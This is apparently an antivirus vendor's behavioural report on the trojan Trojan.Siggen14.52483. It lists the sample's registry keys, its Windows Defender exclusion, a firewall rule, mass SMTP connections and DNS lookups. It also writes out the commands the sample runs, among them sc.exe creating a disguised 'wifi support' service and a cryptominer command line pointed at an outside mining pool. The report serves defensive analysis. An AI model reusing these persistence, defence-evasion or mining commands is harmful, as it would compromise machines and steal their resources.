Trojan.Siggen14.52483

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\lafzsohd] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\lafzsohd] 'ImagePath' = '%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\lafzsohd] 'ImagePath' = '%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe'

Creates the following services

'lafzsohd' %WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d"<Full path to file>"
'lafzsohd' %WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\lafzsohd' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ernsscwt.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ernsscwt.exe to %WINDIR%\syswow64\lafzsohd\ernsscwt.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'sm##.sfh.med.sa':25
'mx#######003.gslb.pphosted.com':25
'ip.####y.hacklix.com':443
'mx#######a02.gslb.pphosted.com':25
'mx#######401.gslb.pphosted.com':25
'ma#######xcite.roc2.bluetie.com':25
'mx#######f01.gslb.pphosted.com':25
'mx#######702.gslb.pphosted.com':25
'mx.####.pelconsip.aruba.it':25
'au#####ver.mojang.com':443
'mx#.free.fr':25
'sm####n.libero.it':25
'mx#######102.gslb.pphosted.com':25
'mx##.##il.icloud.com':25
'sm####.laposte.net':25
'mx###.##il.am0.yahoodns.net':25
'mx#######b01.gslb.pphosted.com':25
'mx##.#mig.gmx.net':25
'mx###02.web.de':25
'mx#######002.gslb.pphosted.com':25
'ma##.mkcorp.com':25
'mx##.mail.com':25
'20#.#38.180.112':25
'mx.##s.untd.com':25
'mx#.####te.mail2world.com':25
'mx#.#angia.biz':25
'mx#.vtx.ch':25
'in.###.trendmicro.com':25
'ma##.b-io.co':25
'alt1.aspmx.l.google.com':25
'mx#######b02.gslb.pphosted.com':25
'mx#######607.gslb.pphosted.com':25
'mx######1cb01.pphosted.com':25
'ma####elay.cuny.edu':25
'ma##.gapd.es':25
'mx#######301.gslb.pphosted.com':25
'mx#######f02.gslb.pphosted.com':25
'ff######x-vip1.prodigy.net':25
'mx#######e01.gslb.pphosted.com':25
'mx#######e02.gslb.pphosted.com':25
'ma####.scppool.com':25
'in###gram.com':443
'pa####x.above.com':25
'ma######.safrangroup.com':25
'cx#.##.#.cloudfilter.net':25
'mx.##.##mail.iss.as9143.net':25
'li######.#lc.protection.outlook.com':25
'mx##.###us-vadesecure.net':25
'mx#######c01.gslb.pphosted.com':25
'mx#######501.gslb.pphosted.com':25
'ho#########.olc.protection.outlook.com':25
'mx#.qq.com':25
'mx#######a01.gslb.pphosted.com':25
'mx#######001.gslb.pphosted.com':25
'mx#.#ate.com':25
'mx#######801.gslb.pphosted.com':25
'fa###ool.xyz':10060
'mx####.##il.gm0.yahoodns.net':25
'mt##.##0.yahoodns.net':25
'gmail-smtp-in.l.google.com':25
'alt1.gmail-smtp-in.l.google.com':25
'19#.#6.146.40':486
'19#.#1.3.129':443
'mx#######503.gslb.pphosted.com':25
'mx#######101.gslb.pphosted.com':25
'sm###in.sfr.fr':25
'mx#######601.gslb.pphosted.com':25
'ma##.#ailcatch.com':25
'mx###.##stedmxserver.com':25
'mx#######c04.gslb.pphosted.com':25
'mx#.#omcast.net':25
'am####03.aig.com':25
'ms#####.##c.protection.outlook.com':25
'ma##.goctii.com':25
'ASPMX.L.GOOGLE.com':25
'mx.##timum.net':25
'google.com':80
'5.##.37.41':430
'19#.#62.246.7':430
'95.##6.195.92':430
'19#.#6.146.41':430
'19#.#6.146.43':430
'19#.#6.146.42':430
'eu#.###.#rotection.outlook.com':25
'mx#######901.gslb.pphosted.com':25
'mx#######d01.gslb.pphosted.com':25
'ma##.#-email.net':25
'mt###.uoa.gr':25

TCP

HTTP GET requests

http://www.google.com/

Other

'19#.#1.3.129':443
'alt4.gmail-smtp-in.l.google.com':25
'mx###.##stedmxserver.com':25
'ma##.#ailcatch.com':25
'ma##.#-email.net':25
'in###gram.com':443
'mx###.##il.am0.yahoodns.net':25
'mx.##timum.net':25
'ms#####.##c.protection.outlook.com':25
'sm####.laposte.net':25
'ip.####y.hacklix.com':443
'sm##.sfh.med.sa':25
'ff######x-vip1.prodigy.net':25
'ma##.gapd.es':25
'in.###.trendmicro.com':25
'mx#.#angia.biz':25
'au#####ver.mojang.com':443
'mx#######f01.gslb.pphosted.com':25
'ASPMX.L.GOOGLE.com':25
'19#.#62.246.7':430
'95.##6.195.92':430
'alt1.gmail-smtp-in.l.google.com':25
'gmail-smtp-in.l.google.com':25
'fa###ool.xyz':10060
'mx####.##il.gm0.yahoodns.net':25
'mt##.##0.yahoodns.net':25
'mx#.qq.com':25
'ho#########.olc.protection.outlook.com':25
'19#.#6.146.40':486
'alt2.gmail-smtp-in.l.google.com':25
'li######.#lc.protection.outlook.com':25
'mx##.###us-vadesecure.net':25
'eu#.###.#rotection.outlook.com':25
'19#.#6.146.42':430
'19#.#6.146.43':430
'5.##.37.41':430
'19#.#6.146.41':430
'alt3.gmail-smtp-in.l.google.com':25
'mx#.vtx.ch':25
'20#.#38.180.112':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK nu.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK gs#.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK ip.####y.hacklix.com
DNS ASK co######bankeratlanta.com
DNS ASK sp#.#ony.com
DNS ASK sc##us.com
DNS ASK ex##te.com
DNS ASK ma#######xcite.roc2.bluetie.com
DNS ASK mt#.com
DNS ASK is####ul.ddb.com
DNS ASK sf#.med.sa
DNS ASK sm##.sfh.med.sa
DNS ASK co###e.roma.it
DNS ASK mx.####.pelconsip.aruba.it
DNS ASK pl###tsox.com
DNS ASK gm#.at
DNS ASK pm##a.com
DNS ASK we###fargo.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK mk##rp.com
DNS ASK mx#######002.gslb.pphosted.com
DNS ASK ch####rcab-det.com
DNS ASK mx##.##il.icloud.com
DNS ASK jo###eere.com
DNS ASK ap#####biosystems.com
DNS ASK mx#######102.gslb.pphosted.com
DNS ASK li##ro.it
DNS ASK sm####n.libero.it
DNS ASK al###adsl.fr
DNS ASK au#####ver.mojang.com
DNS ASK sm####.laposte.net
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK mx#.free.fr
DNS ASK pi####lyingj.com
DNS ASK ui##ho.edu
DNS ASK th###e.com.au
DNS ASK wa##r.co.nz
DNS ASK fa####oncapital.com
DNS ASK sa##.org
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK ya##o.it
DNS ASK we#.de
DNS ASK mx###02.web.de
DNS ASK sh###erfly.com
DNS ASK ma##.mkcorp.com
DNS ASK ke###metal.com
DNS ASK an##og.com
DNS ASK ni##.net
DNS ASK alt1.aspmx.l.google.com
DNS ASK hm##.org
DNS ASK ma##.b-io.co
DNS ASK at##ods.com
DNS ASK in.###.trendmicro.com
DNS ASK mx#######607.gslb.pphosted.com
DNS ASK li#e.it
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ee#.ch
DNS ASK sh##tel.net
DNS ASK mx#.#angia.biz
DNS ASK ex##te.it
DNS ASK mx#.####te.mail2world.com
DNS ASK ju##.com
DNS ASK mx.##s.untd.com
DNS ASK pa####x.above.com
DNS ASK li#e.nl
DNS ASK rc#.com
DNS ASK mx#.vtx.ch
DNS ASK mx######1cb01.pphosted.com
DNS ASK in###mmicro.com
DNS ASK mx##.mail.com
DNS ASK ma####.scppool.com
DNS ASK fo#.com
DNS ASK ap.#ony.com
DNS ASK va###ard.com.au
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK re##m.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK am###tech.net
DNS ASK ff######x-vip1.prodigy.net
DNS ASK sc##ool.com
DNS ASK ch###-tech.com
DNS ASK do###ods.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK ga#d.es
DNS ASK ma##.gapd.es
DNS ASK wt###tebk.com
DNS ASK ma##.cuny.edu
DNS ASK ma####elay.cuny.edu
DNS ASK am###trade.com
DNS ASK la##ste.net
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK me.com
DNS ASK ya##o.de
DNS ASK no###.teradyne.com
DNS ASK gm#.net
DNS ASK rc#.it
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK gm##l.com
DNS ASK alt3.gmail-smtp-in.l.google.com
DNS ASK cb##.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ad##s12.org
DNS ASK ho##ail.com
DNS ASK qq.com
DNS ASK alt2.gmail-smtp-in.l.google.com
DNS ASK ea###link.net
DNS ASK nt###rld.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK ce###ese.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK ta###tbase.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK ym##l.com
DNS ASK mx##.###us-vadesecure.net
DNS ASK li##.com
DNS ASK li######.#lc.protection.outlook.com
DNS ASK mx#.qq.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK sf#.fr
DNS ASK ya##o.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK ve##zon.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK fa###ool.xyz
DNS ASK az##n.co.uk
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK fs#.edu
DNS ASK mx#######503.gslb.pphosted.com
DNS ASK ya##o.co.nz
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK ny#.edu
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK ph##.uoa.gr
DNS ASK ar###cmail.com
DNS ASK sm###in.sfr.fr
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK mx###.##stedmxserver.com
DNS ASK go###email.com
DNS ASK ma###atch.com
DNS ASK ma##.#ailcatch.com
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK ho##op.com
DNS ASK th####nreuters.com
DNS ASK ma##.#-email.net
DNS ASK sb###oba.net
DNS ASK ma######.safrangroup.com
DNS ASK gm#.de
DNS ASK mx##.#mig.gmx.net
DNS ASK be##buy.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK td#.com
DNS ASK ai###lle.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK in###gram.com
DNS ASK mx#######c04.gslb.pphosted.com
DNS ASK mx#.#omcast.net
DNS ASK co##ast.net
DNS ASK me###t.ucla.edu
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK ho##ail.it
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK op###line.net
DNS ASK google.com
DNS ASK mx.##timum.net
DNS ASK br#####nk12students.com
DNS ASK st##art.com
DNS ASK ASPMX.L.GOOGLE.com
DNS ASK ma##.goctii.com
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK wj#.com
DNS ASK co##iere.it
DNS ASK alt4.gmail-smtp-in.l.google.com
DNS ASK ai#.com
DNS ASK am####03.aig.com
DNS ASK ao#.com
DNS ASK ce#####transportint.com
DNS ASK ch#####schoolsusa.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK mt###.uoa.gr

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\lafzsohd\ernsscwt.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lafzsohd\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ernsscwt.exe" %WINDIR%\SysWOW64\lafzsohd\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create lafzsohd binPath= "%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description lafzsohd "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start lafzsohd' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lafzsohd\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ernsscwt.exe" %WINDIR%\SysWOW64\lafzsohd\
'%WINDIR%\syswow64\sc.exe' create lafzsohd binPath= "%WINDIR%\SysWOW64\lafzsohd\ernsscwt.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description lafzsohd "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start lafzsohd
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

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